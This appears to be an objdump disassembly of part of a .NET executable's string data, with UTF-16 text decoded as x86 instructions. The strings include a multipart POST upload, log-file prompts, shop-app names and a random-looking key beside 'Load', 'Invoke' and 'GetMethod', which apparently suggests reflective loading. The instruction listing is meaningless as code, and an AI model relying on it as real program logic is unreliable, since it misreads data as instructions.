41af51:	3d 6d 00 75 00       	cmp    $0x75006d,%eax
41af56:	6c                   	insb   (%dx),%es:(%edi)
41af57:	00 74 00 69          	add    %dh,0x69(%eax,%eax,1)
41af5b:	00 70 00             	add    %dh,0x0(%eax)
41af5e:	61                   	popa
41af5f:	00 72 00             	add    %dh,0x0(%edx)
41af62:	74 00                	je     0x41af64
41af64:	2f                   	das
41af65:	00 66 00             	add    %ah,0x0(%esi)
41af68:	6f                   	outsl  %ds:(%esi),(%dx)
41af69:	00 72 00             	add    %dh,0x0(%edx)
41af6c:	6d                   	insl   (%dx),%es:(%edi)
41af6d:	00 2d 00 64 00 61    	add    %ch,0x61006400
41af73:	00 74 00 61          	add    %dh,0x61(%eax,%eax,1)
41af77:	00 3b                	add    %bh,(%ebx)
41af79:	00 20                	add    %ah,(%eax)
41af7b:	00 62 00             	add    %ah,0x0(%edx)
41af7e:	6f                   	outsl  %ds:(%esi),(%dx)
41af7f:	00 75 00             	add    %dh,0x0(%ebp)
41af82:	6e                   	outsb  %ds:(%esi),(%dx)
41af83:	00 64 00 61          	add    %ah,0x61(%eax,%eax,1)
41af87:	00 72 00             	add    %dh,0x0(%edx)
41af8a:	79 00                	jns    0x41af8c
41af8c:	3d 00 01 09 50       	cmp    $0x50090100,%eax
41af91:	00 4f 00             	add    %cl,0x0(%edi)
41af94:	53                   	push   %ebx
41af95:	00 54 00 00          	add    %dl,0x0(%eax,%eax,1)
41af99:	6b 0d 00 0a 00 43 00 	imul   $0x0,0x43000a00,%ecx
41afa0:	6f                   	outsl  %ds:(%esi),(%dx)
41afa1:	00 6e 00             	add    %ch,0x0(%esi)
41afa4:	74 00                	je     0x41afa6
41afa6:	65 00 6e 00          	add    %ch,%gs:0x0(%esi)
41afaa:	74 00                	je     0x41afac
41afac:	2d 00 44 00 69       	sub    $0x69004400,%eax
41afb1:	00 73 00             	add    %dh,0x0(%ebx)
41afb4:	70 00                	jo     0x41afb6
41afb6:	6f                   	outsl  %ds:(%esi),(%dx)
41afb7:	00 73 00             	add    %dh,0x0(%ebx)
41afba:	69 00 74 00 69 00    	imul   $0x690074,(%eax),%eax
41afc0:	6f                   	outsl  %ds:(%esi),(%dx)
41afc1:	00 6e 00             	add    %ch,0x0(%esi)
41afc4:	3a 00                	cmp    (%eax),%al
41afc6:	20 00                	and    %al,(%eax)
41afc8:	66 00 6f 00          	data16 add %ch,0x0(%edi)
41afcc:	72 00                	jb     0x41afce
41afce:	6d                   	insl   (%dx),%es:(%edi)
41afcf:	00 2d 00 64 00 61    	add    %ch,0x61006400
41afd5:	00 74 00 61          	add    %dh,0x61(%eax,%eax,1)
41afd9:	00 3b                	add    %bh,(%ebx)
41afdb:	00 20                	add    %ah,(%eax)
41afdd:	00 6e 00             	add    %ch,0x0(%esi)
41afe0:	61                   	popa
41afe1:	00 6d 00             	add    %ch,0x0(%ebp)
41afe4:	65 00 3d 00 22 00 7b 	add    %bh,%gs:0x7b002200
41afeb:	00 30                	add    %dh,(%eax)
41afed:	00 7d 00             	add    %bh,0x0(%ebp)
41aff0:	22 00                	and    (%eax),%al
41aff2:	0d 00 0a 00 0d       	or     $0xd000a00,%eax
41aff7:	00 0a                	add    %cl,(%edx)
41aff9:	00 7b 00             	add    %bh,0x0(%ebx)
41affc:	31 00                	xor    %eax,(%eax)
41affe:	7d 00                	jge    0x41b000
41b000:	0d 00 0a 00 01       	or     $0x1000a00,%eax
41b005:	80 a7 0d 00 0a 00 43 	andb   $0x43,0xa000d(%edi)
41b00c:	00 6f 00             	add    %ch,0x0(%edi)
41b00f:	6e                   	outsb  %ds:(%esi),(%dx)
41b010:	00 74 00 65          	add    %dh,0x65(%eax,%eax,1)
41b014:	00 6e 00             	add    %ch,0x0(%esi)
41b017:	74 00                	je     0x41b019
41b019:	2d 00 44 00 69       	sub    $0x69004400,%eax
41b01e:	00 73 00             	add    %dh,0x0(%ebx)
41b021:	70 00                	jo     0x41b023
41b023:	6f                   	outsl  %ds:(%esi),(%dx)
41b024:	00 73 00             	add    %dh,0x0(%ebx)
41b027:	69 00 74 00 69 00    	imul   $0x690074,(%eax),%eax
41b02d:	6f                   	outsl  %ds:(%esi),(%dx)
41b02e:	00 6e 00             	add    %ch,0x0(%esi)
41b031:	3a 00                	cmp    (%eax),%al
41b033:	20 00                	and    %al,(%eax)
41b035:	66 00 6f 00          	data16 add %ch,0x0(%edi)
41b039:	72 00                	jb     0x41b03b
41b03b:	6d                   	insl   (%dx),%es:(%edi)
41b03c:	00 2d 00 64 00 61    	add    %ch,0x61006400
41b042:	00 74 00 61          	add    %dh,0x61(%eax,%eax,1)
41b046:	00 3b                	add    %bh,(%ebx)
41b048:	00 20                	add    %ah,(%eax)
41b04a:	00 6e 00             	add    %ch,0x0(%esi)
41b04d:	61                   	popa
41b04e:	00 6d 00             	add    %ch,0x0(%ebp)
41b051:	65 00 3d 00 22 00 7b 	add    %bh,%gs:0x7b002200
41b058:	00 30                	add    %dh,(%eax)
41b05a:	00 7d 00             	add    %bh,0x0(%ebp)
41b05d:	22 00                	and    (%eax),%al
41b05f:	3b 00                	cmp    (%eax),%eax
41b061:	20 00                	and    %al,(%eax)
41b063:	66 00 69 00          	data16 add %ch,0x0(%ecx)
41b067:	6c                   	insb   (%dx),%es:(%edi)
41b068:	00 65 00             	add    %ah,0x0(%ebp)
41b06b:	6e                   	outsb  %ds:(%esi),(%dx)
41b06c:	00 61 00             	add    %ah,0x0(%ecx)
41b06f:	6d                   	insl   (%dx),%es:(%edi)
41b070:	00 65 00             	add    %ah,0x0(%ebp)
41b073:	3d 00 22 00 7b       	cmp    $0x7b002200,%eax
41b078:	00 31                	add    %dh,(%ecx)
41b07a:	00 7d 00             	add    %bh,0x0(%ebp)
41b07d:	22 00                	and    (%eax),%al
41b07f:	0d 00 0a 00 43       	or     $0x43000a00,%eax
41b084:	00 6f 00             	add    %ch,0x0(%edi)
41b087:	6e                   	outsb  %ds:(%esi),(%dx)
41b088:	00 74 00 65          	add    %dh,0x65(%eax,%eax,1)
41b08c:	00 6e 00             	add    %ch,0x0(%esi)
41b08f:	74 00                	je     0x41b091
41b091:	2d 00 54 00 79       	sub    $0x79005400,%eax
41b096:	00 70 00             	add    %dh,0x0(%eax)
41b099:	65 00 3a             	add    %bh,%gs:(%edx)
41b09c:	00 20                	add    %ah,(%eax)
41b09e:	00 7b 00             	add    %bh,0x0(%ebx)
41b0a1:	32 00                	xor    (%eax),%al
41b0a3:	7d 00                	jge    0x41b0a5
41b0a5:	0d 00 0a 00 0d       	or     $0xd000a00,%eax
41b0aa:	00 0a                	add    %cl,(%edx)
41b0ac:	00 01                	add    %al,(%ecx)
41b0ae:	39 70 00             	cmp    %esi,0x0(%eax)
41b0b1:	6c                   	insb   (%dx),%es:(%edi)
41b0b2:	00 65 00             	add    %ah,0x0(%ebp)
41b0b5:	61                   	popa
41b0b6:	00 73 00             	add    %dh,0x0(%ebx)
41b0b9:	65 00 20             	add    %ah,%gs:(%eax)
41b0bc:	00 69 00             	add    %ch,0x0(%ecx)
41b0bf:	6e                   	outsb  %ds:(%esi),(%dx)
41b0c0:	00 70 00             	add    %dh,0x0(%eax)
41b0c3:	75 00                	jne    0x41b0c5
41b0c5:	74 00                	je     0x41b0c7
41b0c7:	20 00                	and    %al,(%eax)
41b0c9:	61                   	popa
41b0ca:	00 20                	add    %ah,(%eax)
41b0cc:	00 6c 00 6f          	add    %ch,0x6f(%eax,%eax,1)
41b0d0:	00 67 00             	add    %ah,0x0(%edi)
41b0d3:	20 00                	and    %al,(%eax)
41b0d5:	66 00 69 00          	data16 add %ch,0x0(%ecx)
41b0d9:	6c                   	insb   (%dx),%es:(%edi)
41b0da:	00 65 00             	add    %ah,0x0(%ebp)
41b0dd:	20 00                	and    %al,(%eax)
41b0df:	6e                   	outsb  %ds:(%esi),(%dx)
41b0e0:	00 61 00             	add    %ah,0x0(%ecx)
41b0e3:	6d                   	insl   (%dx),%es:(%edi)
41b0e4:	00 65 00             	add    %ah,0x0(%ebp)
41b0e7:	00 0f                	add    %cl,(%edi)
41b0e9:	7b 00                	jnp    0x41b0eb
41b0eb:	30 00                	xor    %al,(%eax)
41b0ed:	7d 00                	jge    0x41b0ef
41b0ef:	20 00                	and    %al,(%eax)
41b0f1:	7b 00                	jnp    0x41b0f3
41b0f3:	31 00                	xor    %eax,(%eax)
41b0f5:	7d 00                	jge    0x41b0f7
41b0f7:	00 0d 20 00 20 00    	add    %cl,0x200020
41b0fd:	3a 00                	cmp    (%eax),%al
41b0ff:	7b 00                	jnp    0x41b101
41b101:	30 00                	xor    %al,(%eax)
41b103:	7d 00                	jge    0x41b105
41b105:	00 3f                	add    %bh,(%edi)
41b107:	2d 00 2d 00 2d       	sub    $0x2d002d00,%eax
41b10c:	00 2d 00 2d 00 2d    	add    %ch,0x2d002d00
41b112:	00 2d 00 2d 00 2d    	add    %ch,0x2d002d00
41b118:	00 2d 00 2d 00 2d    	add    %ch,0x2d002d00
41b11e:	00 2d 00 2d 00 2d    	add    %ch,0x2d002d00
41b124:	00 2d 00 2d 00 2d    	add    %ch,0x2d002d00
41b12a:	00 2d 00 2d 00 2d    	add    %ch,0x2d002d00
41b130:	00 2d 00 2d 00 2d    	add    %ch,0x2d002d00
41b136:	00 2d 00 2d 00 2d    	add    %ch,0x2d002d00
41b13c:	00 2d 00 2d 00 2d    	add    %ch,0x2d002d00
41b142:	00 2d 00 01 3f 6c    	add    %ch,0x6c3f0100
41b148:	00 6f 00             	add    %ch,0x0(%edi)
41b14b:	67 00 20             	add    %ah,(%bx,%si)
41b14e:	00 66 00             	add    %ah,0x0(%esi)
41b151:	69 00 6c 00 65 00    	imul   $0x65006c,(%eax),%eax
41b157:	20 00                	and    %al,(%eax)
41b159:	6e                   	outsb  %ds:(%esi),(%dx)
41b15a:	00 61 00             	add    %ah,0x0(%ecx)
41b15d:	6d                   	insl   (%dx),%es:(%edi)
41b15e:	00 65 00             	add    %ah,0x0(%ebp)
41b161:	20 00                	and    %al,(%eax)
41b163:	69 00 73 00 20 00    	imul   $0x200073,(%eax),%eax
41b169:	6e                   	outsb  %ds:(%esi),(%dx)
41b16a:	00 6f 00             	add    %ch,0x0(%edi)
41b16d:	74 00                	je     0x41b16f
41b16f:	20 00                	and    %al,(%eax)
41b171:	76 00                	jbe    0x41b173
41b173:	61                   	popa
41b174:	00 6c 00 69          	add    %ch,0x69(%eax,%eax,1)
41b178:	00 64 00 61          	add    %ah,0x61(%eax,%eax,1)
41b17c:	00 74 00 65          	add    %dh,0x65(%eax,%eax,1)
41b180:	00 64 00 21          	add    %ah,0x21(%eax,%eax,1)
41b184:	00 00                	add    %al,(%eax)
41b186:	11 66 00             	adc    %esp,0x0(%esi)
41b189:	69 00 6c 00 65 00    	imul   $0x65006c,(%eax),%eax
41b18f:	50                   	push   %eax
41b190:	00 61 00             	add    %ah,0x0(%ecx)
41b193:	74 00                	je     0x41b195
41b195:	68 00 00 3f 72       	push   $0x723f0000
41b19a:	00 51 00             	add    %dl,0x0(%ecx)
41b19d:	42                   	inc    %edx
41b19e:	00 4f 00             	add    %cl,0x0(%edi)
41b1a1:	6d                   	insl   (%dx),%es:(%edi)
41b1a2:	00 50 00             	add    %dl,0x0(%eax)
41b1a5:	57                   	push   %edi
41b1a6:	00 7a 00             	add    %bh,0x0(%edx)
41b1a9:	70 00                	jo     0x41b1ab
41b1ab:	50                   	push   %eax
41b1ac:	00 4b 00             	add    %cl,0x0(%ebx)
41b1af:	42                   	inc    %edx
41b1b0:	00 44 00 55          	add    %al,0x55(%eax,%eax,1)
41b1b4:	00 57 00             	add    %dl,0x0(%edi)
41b1b7:	78 00                	js     0x41b1b9
41b1b9:	46                   	inc    %esi
41b1ba:	00 56 00             	add    %dl,0x0(%esi)
41b1bd:	76 00                	jbe    0x41b1bf
41b1bf:	50                   	push   %eax
41b1c0:	00 46 00             	add    %al,0x0(%esi)
41b1c3:	4c                   	dec    %esp
41b1c4:	00 76 00             	add    %dh,0x0(%esi)
41b1c7:	6a 00                	push   $0x0
41b1c9:	47                   	inc    %edi
41b1ca:	00 61 00             	add    %ah,0x0(%ecx)
41b1cd:	55                   	push   %ebp
41b1ce:	00 74 00 79          	add    %dh,0x79(%eax,%eax,1)
41b1d2:	00 4c 00 77          	add    %cl,0x77(%eax,%eax,1)
41b1d6:	00 00                	add    %al,(%eax)
41b1d8:	09 4c 00 6f          	or     %ecx,0x6f(%eax,%eax,1)
41b1dc:	00 61 00             	add    %ah,0x0(%ecx)
41b1df:	64 00 00             	add    %al,%fs:(%eax)
41b1e2:	0d 49 00 6e 00       	or     $0x6e0049,%eax
41b1e7:	76 00                	jbe    0x41b1e9
41b1e9:	6f                   	outsl  %ds:(%esi),(%dx)
41b1ea:	00 6b 00             	add    %ch,0x0(%ebx)
41b1ed:	65 00 00             	add    %al,%gs:(%eax)
41b1f0:	13 50 00             	adc    0x0(%eax),%edx
41b1f3:	68 00 6f 00 6e       	push   $0x6e006f00
41b1f8:	00 65 00             	add    %ah,0x0(%ebp)
41b1fb:	73 00                	jae    0x41b1fd
41b1fd:	68 00 6f 00 70       	push   $0x70006f00
41b202:	00 00                	add    %al,(%eax)
41b204:	13 47 00             	adc    0x0(%edi),%eax
41b207:	65 00 74 00 4d       	add    %dh,%gs:0x4d(%eax,%eax,1)
41b20c:	00 65 00             	add    %ah,0x0(%ebp)
41b20f:	74 00                	je     0x41b211
41b211:	68 00 6f 00 64       	push   $0x64006f00
41b216:	00 00                	add    %al,(%eax)
41b218:	13 4f 00             	adc    0x0(%edi),%ecx
41b21b:	66 00 66 00          	data16 add %ah,0x0(%esi)
41b21f:	69 00 63 00 65 00    	imul   $0x650063,(%eax),%eax
41b225:	50                   	push   %eax
41b226:	00 72 00             	add    %dh,0x0(%edx)
41b229:	6f                   	outsl  %ds:(%esi),(%dx)
41b22a:	00 00                	add    %al,(%eax)
41b22c:	0f 47 00             	cmova  (%eax),%eax
41b22f:	65 00 74 00 54       	add    %dh,%gs:0x54(%eax,%eax,1)
41b234:	00 79 00             	add    %bh,0x0(%ecx)
41b237:	70 00                	jo     0x41b239
41b239:	65 00 00             	add    %al,%gs:(%eax)
41b23c:	2f                   	das
41b23d:	4f                   	dec    %edi
41b23e:	00 66 00             	add    %ah,0x0(%esi)
41b241:	66 00 69 00          	data16 add %ch,0x0(%ecx)
41b245:	63 00                	arpl   %eax,(%eax)
41b247:	65 00 4b 00          	add    %cl,%gs:0x0(%ebx)
41b24b:	69 00 74 00 2e 00    	imul   $0x2e0074,(%eax),%eax
41b251:	4d                   	dec    %ebp
41b252:	00 69 00             	add    %ch,0x0(%ecx)
41b255:	63 00                	arpl   %eax,(%eax)
41b257:	72 00                	jb     0x41b259
41b259:	6f                   	outsl  %ds:(%esi),(%dx)
41b25a:	00 73 00             	add    %dh,0x0(%ebx)
41b25d:	6f                   	outsl  %ds:(%esi),(%dx)
41b25e:	00 66 00             	add    %ah,0x0(%esi)
41b261:	74 00                	je     0x41b263
41b263:	57                   	push   %edi
41b264:	00 6f 00             	add    %ch,0x0(%edi)
41b267:	72 00                	jb     0x41b269
41b269:	64 00 00             	add    %al,%fs:(%eax)
41b26c:	13 58 00             	adc    0x0(%eax),%ebx
41b26f:	6d                   	insl   (%dx),%es:(%edi)
41b270:	00 6c 00 53          	add    %ch,0x53(%eax,%eax,1)
41b274:	00 63 00             	add    %ah,0x0(%ebx)
41b277:	68 00 65 00 6d       	push   $0x6d006500
41b27c:	00 61 00             	add    %ah,0x0(%ecx)
41b27f:	00 13                	add    %dl,(%ebx)
41b281:	53                   	push   %ebx
41b282:	00 75 00             	add    %dh,0x0(%ebp)
41b285:	70 00                	jo     0x41b287
41b287:	70 00                	jo     0x41b289
41b289:	6c                   	insb   (%dx),%es:(%edi)
41b28a:	00 69 00             	add    %ch,0x0(%ecx)
41b28d:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
41b291:	73 00                	jae    0x41b293
41b293:	00 0f                	add    %cl,(%edi)
41b295:	4d                   	dec    %ebp
41b296:	00 6f 00             	add    %ch,0x0(%edi)
41b299:	62 00                	bound  %eax,(%eax)
41b29b:	69 00 6c 00 65 00    	imul   $0x65006c,(%eax),%eax
41b2a1:	73 00                	jae    0x41b2a3
41b2a3:	00 15 4f 00 72 00    	add    %dl,0x72004f
41b2a9:	64 00 65 00          	add    %ah,%fs:0x0(%ebp)
41b2ad:	72 00                	jb     0x41b2af
41b2af:	49                   	dec    %ecx
41b2b0:	00 74 00 65          	add    %dh,0x65(%eax,%eax,1)
41b2b4:	00 6d 00             	add    %ch,0x0(%ebp)
41b2b7:	73 00                	jae    0x41b2b9
41b2b9:	00 0f                	add    %cl,(%edi)
41b2bb:	64 00 73 00          	add    %dh,%fs:0x0(%ebx)
41b2bf:	45                   	inc    %ebp
41b2c0:	00 73 00             	add    %dh,0x0(%ebx)
41b2c3:	68 00 6f 00 70       	push   $0x70006f00
41b2c8:	00 00                	add    %al,(%eax)
41b2ca:	3d 68 00 74 00       	cmp    $0x740068,%eax
41b2cf:	74 00                	je     0x41b2d1
41b2d1:	70 00                	jo     0x41b2d3
41b2d3:	3a 00                	cmp    (%eax),%al
41b2d5:	2f                   	das
41b2d6:	00 2f                	add    %ch,(%edi)
41b2d8:	00 74 00 65          	add    %dh,0x65(%eax,%eax,1)
41b2dc:	00 6d 00             	add    %ch,0x0(%ebp)
41b2df:	70 00                	jo     0x41b2e1
41b2e1:	75 00                	jne    0x41b2e3
41b2e3:	72 00                	jb     0x41b2e5
41b2e5:	69 00 2e 00 6f 00    	imul   $0x6f002e,(%eax),%eax
41b2eb:	72 00                	jb     0x41b2ed
41b2ed:	67 00 2f             	add    %ch,(%bx)
41b2f0:	00 64 00 73          	add    %ah,0x73(%eax,%eax,1)
41b2f4:	00 45 00             	add    %al,0x0(%ebp)
41b2f7:	73 00                	jae    0x41b2f9
41b2f9:	68 00 6f 00 70       	push   $0x70006f00
41b2fe:	00 2e                	add    %ch,(%esi)
41b300:	00 78 00             	add    %bh,0x0(%eax)
41b303:	73 00                	jae    0x41b305
41b305:	64 00 00             	add    %al,%fs:(%eax)
41b308:	15 6d 00 65 00       	adc    $0x65006d,%eax
41b30d:	6e                   	outsb  %ds:(%esi),(%dx)
41b30e:	00 75 00             	add    %dh,0x0(%ebp)
41b311:	53                   	push   %ebx
41b312:	00 74 00 72          	add    %dh,0x72(%eax,%eax,1)
41b316:	00 69 00             	add    %ch,0x0(%ecx)
41b319:	70 00                	jo     0x41b31b
41b31b:	31 00                	xor    %eax,(%eax)
41b31d:	00 31                	add    %dh,(%ecx)
41b31f:	9b                   	fwait
41b320:	4f                   	dec    %edi
41b321:	94                   	xchg   %eax,%esp
41b322:	5e                   	pop    %esi
41b323:	46                   	inc    %esi